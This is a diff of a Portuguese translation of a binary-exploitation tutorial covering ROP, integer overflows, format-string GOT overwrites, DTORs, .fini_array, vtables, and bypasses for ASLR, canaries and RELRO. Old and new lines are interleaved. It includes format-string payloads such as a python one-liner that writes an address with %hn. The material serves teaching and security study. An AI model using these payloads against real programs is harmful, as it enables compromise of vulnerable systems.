**Jump to ESP: Estilo Windows**
-Como o ESP está sempre apontando para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada a **jmp esp** ou **call esp**. Dessa forma, a shellcode é armazenada após a sobrescrita do EIP, pois após a execução do **ret**, o ESP estará apontando para o próximo endereço, exatamente onde a shellcode foi armazenada.
+Como o ESP sempre aponta para o início da pilha, esta técnica consiste em substituir o EIP pelo endereço de uma chamada a **jmp esp** ou **call esp**. Assim, a shellcode é armazenada após a sobrescritura do EIP, pois após a execução do **ret**, o ESP estará apontando para o endereço seguinte, exatamente onde a shellcode foi guardada.
-Caso o ASLR não esteja ativado no Windows ou Linux, é possível chamar **jmp esp** ou **call esp** armazenados em algum objeto compartilhado. Caso o ASLR esteja ativado, é possível procurar dentro do próprio programa vulnerável.
+Se o ASLR não estiver ativo no Windows ou Linux, pode-se chamar **jmp esp** ou **call esp** armazenadas em algum objeto compartilhado. Se o ASLR estiver ativo, pode-se procurar dentro do próprio programa vulnerável.
-Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se ela estivesse no meio da pilha da função).
+Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, evita que instruções push ou pop executadas durante a função afetem a shellcode (o que poderia acontecer se estivesse no meio da pilha da função).
-De forma muito semelhante a isso, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, podemos chamar **call eax** ou **jmp eax (ret2eax)**.
+De forma muito semelhante, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, podemos chamar **call eax** ou **jmp eax (ret2eax).**
-**ROP (Return Oriented Programming) ou trechos de código emprestados**
+**ROP (Return Oriented Programming) ou borrowed code chunks**
-Os trechos de código invocados são conhecidos como gadgets.
+Os pedaços de código que são invocados são conhecidos como gadgets.
-Essa técnica consiste em encadear diferentes chamadas de funções usando a técnica **ret2libc** e o uso de **pop,ret**.
+Esta técnica consiste em encadear diferentes chamadas a funções usando a técnica de **ret2libc** e o uso de **pop, ret**.
-Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (como o MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanho variável e várias instruções podem compartilhar um conjunto de bits, por exemplo:
+Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanhos variáveis e várias instruções podem compartilhar um conjunto de bits, por exemplo:
-**movl $0xe4ff, -0x(%ebp)** —> Contém os bytes 0xffe4, que também podem ser traduzidos como: **jmp \*%esp**
+**movl $0xe4ff, -0x(%ebp)** —> Contém os bytes 0xffe4 que também se traduzem por: **jmp \*%esp**
-Dessa forma, é possível executar algumas instruções que nem mesmo estão no programa original.
+Assim, é possível executar algumas instruções que nem sequer estão no programa original.
**ROPgadget.py** nos ajuda a encontrar valores em binários.
-Este programa também serve para criar os **payloads**. Você pode fornecer a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python, para o qual você fornece o endereço onde a biblioteca está e o payload está pronto para ser usado como shellcode. Além disso, como ele usa chamadas de sistema, ele não executa nada na pilha, apenas vai armazenando endereços de ROPs que serão executados por meio de **ret**. Para usar esse payload, é necessário chamar o payload por meio de uma instrução **ret**.
+Este programa também é útil para criar os **payloads**. Você pode especificar a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python. Você fornece o endereço onde a biblioteca está e o payload está pronto para ser usado como shellcode. Além disso, como usa chamadas ao sistema, não executa nada na pilha, apenas armazena endereços de ROPs que serão executados por meio de **ret**. Para usar este payload, deve-se chamar o payload por uma instrução **ret**.
**Integer overflows**
-Esse tipo de overflow ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado para ela, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
+Este tipo de overflow ocorre quando uma variável não está preparada para suportar um número tão grande quanto o fornecido, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
```c
#include
#include
@@ -373,23 +338,17 @@ printf("\nIntento de hack\n");
return 0;
}
```
-No exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a própria string.
-
-Se passarmos um número negativo como primeiro parâmetro, será verificado que len < 256 e esse filtro será ultrapassado. Além disso, strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
-
-Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
-
**Variáveis não inicializadas**
-Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
+Não se sabe o valor que uma variável não inicializada pode assumir, e pode ser interessante observá-lo. Pode acontecer de ela assumir o valor que uma variável de uma função anterior tinha, e essa variável anterior pode ser controlada pelo atacante.
## **Format Strings**
-Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** que serão **substituídos** nos **formatadores** do texto bruto.
+Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** no texto bruto.
-A vulnerabilidade ocorre quando um **texto do atacante é colocado como o primeiro argumento** dessa função. O atacante será capaz de criar uma **entrada especial abusando das capacidades de formatação do printf** para **escrever qualquer dado em qualquer endereço**. Dessa forma, ele poderá **executar código arbitrário**.
+A vulnerabilidade aparece quando um **texto do atacante é colocado como o primeiro argumento** nesta função. O atacante poderá criar uma **entrada especial abusando** das capacidades da string de formato do **printf** para **escrever qualquer dado em qualquer endereço**. Sendo capaz, dessa forma, de **executar código arbitrário**.
-Formadores:
+Formatadores:
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -399,69 +358,69 @@ Formadores:
%hn —> Occupies 2 bytes instead of 4
$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
-**`%n`** **escreve** o **número de bytes escritos** no **endereço indicado**. Escrever** tantos bytes** quanto o número hexadecimal que **precisamos** escrever é como você pode **escrever qualquer dado**.
+**`%n`** **escreve** o **número de bytes escritos** no **endereço indicado. Escrever** tantos **bytes** quanto o número hexadecimal que **precisamos** escrever é como você pode **escrever qualquer dado**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
-### GOT (Tabela de Deslocamentos Globais) / PLT (Tabela de Ligação de Procedimentos)
+### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
-Esta é a tabela que contém o **endereço** das **funções externas** usadas pelo programa.
+Esta é a tabela que contém o **endereço** para as **funções externas** usadas pelo programa.
Obtenha o endereço desta tabela com: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
-Observe como, após **carregar** o **executável** no GEF, você pode **ver** as **funções** que estão na **GOT**: `gef➤ x/20x 0xDIR_GOT`
+Observe como, após **carregar** o **executável** no GEF, você pode **ver** as **funções** que estão no **GOT**: `gef➤ x/20x 0xDIR_GOT`
-![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
+![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
-Usando o GEF, você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got:
+Usando o GEF, você pode **iniciar** uma sessão de **depuração** e executar **`got`** para ver a tabela got:
![](<../../.gitbook/assets/image (621).png>)
-Em um binário, a GOT tem os **endereços das funções ou** da seção **PLT** que carregará o endereço da função. O objetivo deste exploit é **substituir a entrada da GOT** de uma função que será executada posteriormente **pelo endereço da PLT da função `system`**. Idealmente, você irá **substituir** a **GOT** de uma **função** que será **chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função do sistema).
+Em um binário, o GOT tem os **endereços das funções ou** para a seção **PLT** que carregará o endereço da função. O objetivo deste exploit é **sobrescrever a entrada do GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função `system`**. Idealmente, você vai **sobrescrever** o **GOT** de uma **função** que **será chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
-Se **`system`** **não for usada** pelo script, a função do sistema **não terá uma entrada na GOT**. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system`.
+Se **`system`** **não for usada** pelo script, a função system **não** terá uma entrada no GOT. Neste cenário, você precisará **vazar primeiro o endereço** da função `system`.
-A **Tabela de Ligação de Procedimentos** é uma tabela **somente leitura** no arquivo ELF que armazena todos os **símbolos necessários que precisam de resolução**. Quando uma dessas funções é chamada, a GOT **redirecionará** o **fluxo** para a PLT para que ela possa **resolver** o **endereço** da função e gravá-lo na GOT.\
-Em seguida, na **próxima vez** que uma chamada for feita para esse endereço, a **função** será **chamada diretamente** sem precisar resolvê-la.
+**Procedure Linkage Table** é uma tabela **somente leitura** no arquivo ELF que armazena todos os **símbolos que precisam de resolução**. Quando uma dessas funções é chamada, o **GOT** irá **redirecionar** o **fluxo** para o **PLT** para que possa **resolver** o **endereço** da função e escrevê-lo no GOT.
+Então, na **próxima vez** que uma chamada for realizada para aquele endereço, a **função** é **chamada diretamente** sem precisar resolvê-la.
-Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
+Você pode ver os endereços do PLT com **`objdump -j .plt -d ./vuln_binary`**
-### **Fluxo de Exploração**
+### **Fluxo do Exploit**
-Como explicado anteriormente, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada posteriormente. Idealmente, poderíamos definir o **endereço para um shellcode** localizado em uma seção executável, mas é altamente provável que você não consiga escrever um shellcode em uma seção executável.\
-Então, uma opção diferente é **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função `system`**.
+Como explicado anteriormente, o objetivo é **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada mais tarde. Idealmente, poderíamos definir o **endereço para um shellcode** localizado em uma seção executável, mas provavelmente você não conseguirá escrever um shellcode em uma seção executável.
+Portanto, uma opção diferente é **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função `system`**.
-Para escrever o endereço, geralmente são feitos 2 passos: você **primeiro escreve 2 bytes** do endereço e depois os outros 2. Para fazer isso, é usado **`$hn`**.
+Para escrever o endereço, geralmente são feitos 2 passos: Você **escreve primeiro 2Bytes** do endereço e depois os outros 2. Para fazer isso, **`$hn`** é usado.
-**HOB** é usado para os 2 bytes mais altos do endereço\
-**LOB** é usado para os 2 bytes mais baixos do endereço
+**HOB** é chamado para os 2 bytes superiores do endereço\
+**LOB** é chamado para os 2 bytes inferiores do endereço
-Portanto, devido à forma como a string de formatação funciona, você precisa **escrever primeiro o menor** entre \[HOB, LOB] e depois o outro.
+Então, por causa de como a string de formato funciona, você precisa **escrever primeiro o menor** entre \[HOB, LOB] e depois o outro.
Se HOB < LOB\
-`[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
+`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Se HOB > LOB\
-`[endereço+2][endereço]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
+`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
-HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
+HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
-### **Modelo de Exploração de String de Formatação**
+### **Modelo de Exploit de String de Formato**
-Você pode encontrar um **modelo** para explorar a GOT usando strings de formatação aqui:
+Você pode encontrar um **modelo** para explorar o GOT usando strings de formato aqui:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
-### **.fini\_array**
+### **.fini_array**
-Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar para o main novamente para **explorar a string de formatação uma segunda vez**.
+Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
@@ -472,26 +431,26 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
-Observe que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso, você poderá **ter mais uma execução** da vulnerabilidade.
+Note que isso **não** **criará** um **loop eterno** porque quando você voltar para o main, o canary perceberá, o fim da pilha pode estar corrompido e a função não será chamada novamente. Então, com isso, você será capaz de **ter mais 1 execução** da vulnerabilidade.
-### **Format Strings para Extrair Conteúdo**
+### **Format Strings para Despejar Conteúdo**
-Uma string de formato também pode ser abusada para **extrair conteúdo** da memória do programa.\
-Por exemplo, na seguinte situação, há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer com que o **printf acesse** esse **endereço** e **imprima** a **flag**:
+Uma string de formatação também pode ser abusada para **despejar conteúdo** da memória do programa.\
+Por exemplo, na seguinte situação há uma **variável local na pilha apontando para uma flag.** Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**:
Então, a flag está em **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
-E a partir do vazamento, você pode ver que o **ponteiro para a flag** está no **8º** parâmetro:
+E do vazamento você pode ver o **ponteiro para a flag** está no **8º** parâmetro:
![](<../../.gitbook/assets/image (623).png>)
-Portanto, **acessando** o **8º parâmetro**, você pode obter a flag:
+Então, **acessando** o **8º parâmetro** você pode obter a flag:
![](<../../.gitbook/assets/image (624).png>)
-Observe que, seguindo a **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** é **carregado** e **extrair** tudo **completamente**!
+Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para **`printf`** para a seção onde o **executável** está **carregado** e **despejar** ele **inteiramente**!
### **DTOR**
@@ -506,28 +465,28 @@ Obtenha o endereço desta seção com:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
-Normalmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
+Geralmente, você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Então, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** para o **shellcode** para executá-lo.
-### **Strings de Formato para Estouro de Buffer**
+### **Format Strings para Buffer Overflows**
-O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você pode abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\
-Por exemplo, a carga útil `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer.
+O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você pode abusar do **formato** de uma string para causar um **buffer overflow na variável** onde o conteúdo é copiado.\
+Por exemplo, o payload `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um buffer overflow.
-### **Estruturas \_\_atexit**
+### **\_\_atexit Structures**
{% hint style="danger" %}
-Atualmente é muito **incomum explorar isso**.
+Hoje em dia é muito **estranho explorar isso**.
{% endhint %}
-**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
-Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá o controle** do **processo**, mas isso é atualmente mais complicado.\
-Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
-A função de **criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
+**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
+Se você conseguir **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você ganhará **controle** do **processo**, mas isso atualmente é mais complicado.\
+Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque é **não muito útil pelo menos em x86** e **x64\_86**.\
+A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Então, essas arquiteturas seriam atacáveis por esse vetor.
### **setjmp() & longjmp()**
{% hint style="danger" %}
-Atualmente é muito **incomum explorar isso**.
+Hoje em dia é muito **estranho explorar isso**.
{% endhint %}
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
@@ -535,70 +494,71 @@ Atualmente é muito **incomum explorar isso**.
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas mencionadas acima**.\
Eles são úteis para recuperação de erros ou interrupções.\
-No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou também é possível modificar EBP para modificar ESP.
+No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função sendo chamada, o controle pode ser assumido. Ou você também poderia modificar o EBP para modificar o ESP.
**VTable e VPTR em C++**
-Cada classe tem uma **Vtable**, que é uma matriz de **ponteiros para métodos**.
+Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
-Cada objeto de uma **classe** tem um **VPtr**, que é um **ponteiro** para a matriz de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se for alcançada uma **sobrescrita** do **VPtr**, ele pode ser **modificado** para **apontar** para um método fictício, de modo que a execução de uma função vá para o shellcode.
+Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ele poderia ser **modificado** para **apontar** para um método fictício para que a execução de uma função fosse para o shellcode.
-## **Medidas Preventivas e Evasões**
+## **Medidas preventivas e evasões**
**ASLR não tão aleatório**
-O PaX divide o espaço de endereços do processo em 3 grupos:
+PaX divide o espaço de endereçamento do processo em 3 grupos:
-Código e dados iniciados e não iniciados: .text, .data e .bss -> 16 bits de entropia na variável delta\_exec, essa variável é iniciada aleatoriamente a cada processo e é adicionada aos endereços iniciais.
+Código e dados iniciados e não iniciados: .text, .data e .bss —> 16bits de entropia na variável delta\_exec, esta variável é iniciada aleatoriamente com cada processo e é somada às direções iniciais
-Memória alocada por mmap() e bibliotecas compartilhadas -> 16 bits, delta\_mmap
+Memória alocada por mmap() e bibliotecas compartilhadas —> 16bits, delta\_mmap
-A pilha -> 24 bits, delta\_stack -> Na verdade, 11 (do byte 10º ao 20º inclusive) -> alinhado em 16 bytes -> 524.288 possíveis endereços reais da pilha
+A pilha —> 24bits, delta\_stack —> Realmente 11 (do 10º ao 20º byte inclusivo) —> alinhado a 16bytes —> 524.288 possíveis endereços reais da pilha
As variáveis de ambiente e os argumentos se deslocam menos que um buffer na pilha.
**Return-into-printf**
-É uma técnica para transformar um estouro de buffer em um erro de string de formato. Consiste em substituir o EIP para que aponte para um printf da função e passar uma string de formato manipulada como argumento para obter valores sobre o estado do processo.
+É uma técnica para converter um buffer overflow em um erro de string formatada. Consiste em substituir o EIP para que aponte para um printf da função e passar como argumento uma string formatada manipulada para obter valores sobre o estado do processo.
**Ataque a bibliotecas**
-As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chamar o fork(), o espaço de endereços de memória é clonado no processo filho e permanece intacto. Portanto, é possível tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de modo que, quando ela demorar mais do que o normal para responder, essa função será encontrada. Sabendo onde está essa função, é possível obter o delta\_mmap e calcular os outros.
+As bibliotecas estão em uma posição com 16bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chama a fork(), o espaço de endereçamento de memória é clonado no processo filho e mantido intacto. Portanto, pode-se tentar fazer um brute force na função usleep() da libc passando "16" como argumento de forma que, quando demorar mais do que o normal para responder, essa função terá sido encontrada. Sabendo onde está essa função, pode-se obter delta\_mmap e calcular os demais.
-A única maneira de ter certeza de que o ASLR funciona é usando uma arquitetura de 64 bits. Lá, não há ataques de força bruta.
+A única forma de ter certeza de que o ASLR funciona é usando arquitetura de 64bits. Lá não há ataques de força bruta.
**StackGuard e StackShield**
-**StackGuard** insere antes do EIP -> 0x000aff0d(null, \n, EndOfFile(EOF), \r) -> Ainda são vulneráveis recv(), memcpy(), read(), bcoy() e não protege o EBP
+**StackGuard** insere antes do EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Ainda são vulneráveis recv(), memcpy(), read(), bcoy() e não protege o EBP
-**StackShield** é mais elaborado que o StackGuard
+**StackShield** é mais elaborado que StackGuard
-Ele armazena em uma tabela (Global Return Stack) todos os endereços de retorno do EIP para que o estouro de buffer não cause nenhum dano. Além disso, os dois endereços podem ser comparados para verificar se houve um estouro de buffer.
+Guarda em uma tabela (Global Return Stack) todos os endereços EIP de retorno de forma que o overflow não cause nenhum dano. Além disso, ambas as direções podem ser comparadas para ver se houve um desbordamento.
-Também é possível verificar o endereço de retorno com um valor limite, então, se o EIP for para um local diferente do habitual, como o espaço de dados, será conhecido. Mas isso pode ser contornado com Ret-to-lib, ROPs ou ret2ret.
+Também se pode verificar o endereço de retorno com um valor limite, assim se o EIP for para um local diferente do habitual, como o espaço de dados, será detectado. Mas isso é contornado com Ret-to-lib, ROPs ou ret2ret.
-Como pode ser visto, o stackshield também não protege as variáveis locais.
+Como se pode ver, stackshield também não protege as variáveis locais.
**Stack Smash Protector (ProPolice) -fstack-protector**
-O canário é colocado antes do EBP. Ele reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e, assim, não possam sobrescrever outras variáveis.
+Coloca o canário antes do EBP. Reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e assim não possam sobrescrever outras variáveis.
-Além disso, faz uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.
+Além disso, realiza uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.
-Não pode proteger matrizes com menos de 8 elementos ou buffers que fazem parte de uma estrutura do usuário.
+Não pode proteger arrays de menos de 8 elementos nem buffers que façam parte de uma estrutura do usuário.
-O canário é um número aleatório retirado de "/dev/urandom" ou, se não for possível, é 0xff0a0000. Ele é armazenado em TLS (Thread Local Storage). As threads compartilham o mesmo espaço de memória, o TLS é uma área que possui variáveis globais ou estáticas de cada thread. No entanto, em princípio, essas são copiadas do processo pai, embora o processo filho possa modificar esses dados sem modificar os do pai ou dos outros filhos. O problema é que, se o fork() for usado, mas um novo canário não for criado, todos os processos (pai e filhos) usarão o mesmo canário. No i386, ele é armazenado em gs:0x14 e no x86\_64, ele é armazenado em fs:0x28.
+O canário é um número aleatório tirado de “/dev/urandom” ou senão é 0xff0a0000. É armazenado em TLS (Thread Local Storage). Os threads compartilham o mesmo espaço de memória, o TLS é uma área que tem variáveis globais ou estáticas de cada thread. No entanto, em princípio, estas são copiadas do processo pai, embora o processo filho possa modificar esses dados sem alterar os do pai ou dos outros filhos. O problema é que se fork() é usado mas não se cria um novo canário, então todos os processos (pai e filhos) usam o mesmo canário. Em i386 é armazenado em gs:0x14 e em x86\_64 é armazenado em fs:0x28
-Essa proteção localiza funções que possuem buffers que podem ser atacados e inclui código no início da função para colocar o canário e código no final para verificá-lo.
-A função fork() cria uma cópia exata do processo pai, por isso, se um servidor web chamar o fork(), é possível realizar um ataque de força bruta byte a byte para descobrir o canary que está sendo utilizado.
+Esta proteção localiza funções que tenham buffer que possam ser atacados e inclui nelas código no início da função para colocar o canário e código no final para verificá-lo.
-Se a função execve() for usada após o fork(), o espaço será sobrescrito e o ataque não será mais possível. O vfork() permite executar o processo filho sem criar uma duplicata até que o processo filho tente escrever, momento em que a duplicata é criada.
+A função fork() realiza uma cópia exata do processo do pai, por isso mesmo se um servidor web chama a fork() pode-se fazer um ataque de força bruta byte por byte até descobrir o canário que está sendo utilizado.
+
+Se a função execve() for usada após fork(), o espaço é sobrescrito e o ataque já não é possível. vfork() permite executar o processo filho sem criar um duplicado até que o processo filho tente escrever, então sim cria o duplicado.
**Relocation Read-Only (RELRO)**
### Relro
-**Relro (Read only Relocation)** afeta as permissões de memória de forma semelhante ao NX. A diferença é que, enquanto o NX torna a pilha executável, o RELRO torna **certas coisas somente leitura**, impedindo que possamos escrever nelas. A maneira mais comum de encontrar esse obstáculo é impedindo que façamos uma **sobrescrita da tabela `got`**, que será abordada posteriormente. A tabela `got` armazena endereços de funções da libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como ficam as permissões de memória para uma entrada da tabela `got` em um binário com e sem relro.
+**Relro (Read only Relocation)** afeta as permissões de memória de forma semelhante ao NX. A diferença é que enquanto o NX torna a pilha executável, o RELRO torna **certas coisas somente leitura** para que **não possamos escrever** nelas. A maneira mais comum que vi isso ser um obstáculo é impedindo-nos de fazer uma **sobrescrita da tabela `got`**, que será abordada mais tarde. A tabela `got` contém endereços para funções libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como são as permissões de memória para uma entrada da tabela `got` para um binário com e sem relro.
Com relro:
```bash
@@ -666,56 +626,57 @@ gef➤ search-pattern 0x7ffff7e4d100
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
-Para o binário **sem relro**, podemos ver que o endereço da entrada `got` para `fgets` é `0x404018`. Ao olhar para os mapeamentos de memória, vemos que ele está entre `0x404000` e `0x405000`, que possuem as **permissões `rw`**, o que significa que podemos ler e escrever nele. Para o binário **com relro**, vemos que o endereço da tabela `got` para a execução do binário (o pie está habilitado, então esse endereço irá mudar) é `0x555555557fd0`. Nos mapeamentos de memória desse binário, ele está entre `0x0000555555557000` e `0x0000555555558000`, que possuem a permissão de memória **`r`**, o que significa que só podemos ler dele.
+Para o binário **sem relro**, podemos ver que o endereço de entrada `got` para `fgets` é `0x404018`. Olhando para os mapeamentos de memória, vemos que ele está entre `0x404000` e `0x405000`, que tem as **permissões `rw`**, significando que podemos ler e escrever nele. Para o binário **com relro**, vemos que o endereço da tabela `got` para a execução do binário (pie está habilitado, então este endereço mudará) é `0x555555557fd0`. No mapeamento de memória desse binário, ele está entre `0x0000555555557000` e `0x0000555555558000`, que tem a **permissão de memória `r`**, significando que só podemos ler dele.
-Então, qual é o **bypass**? O bypass típico que eu uso é simplesmente não escrever em regiões de memória que o relro faz ficar somente leitura e **encontrar uma maneira diferente de obter a execução de código**.
+Então, qual é o **bypass**? O bypass típico que uso é simplesmente não escrever em regiões de memória que o relro faz serem somente leitura e **encontrar uma maneira diferente de obter execução de código**.
Note que, para que isso aconteça, o binário precisa conhecer previamente os endereços das funções:
-* Lazy binding: O endereço de uma função é procurado na primeira vez que a função é chamada. Portanto, a `GOT` precisa ter permissões de escrita durante a execução.
-* Bind now: Os endereços das funções são resolvidos no início da execução e, em seguida, são dadas permissões somente leitura a seções sensíveis como `.got`, `.dtors`, `.ctors`, `.dynamic`, `.jcr`. `` `** ``-z relro`**`y`**`-z now\`\*\*
+* Lazy binding: O endereço de uma função é procurado na primeira vez que a função é chamada. Assim, o GOT precisa ter permissões de escrita durante a execução.
+* Bind now: Os endereços das funções são resolvidos no início da execução, depois permissões somente leitura são dadas a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`e`**`-z now\`\*\*
Para verificar se um programa usa Bind now, você pode fazer:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
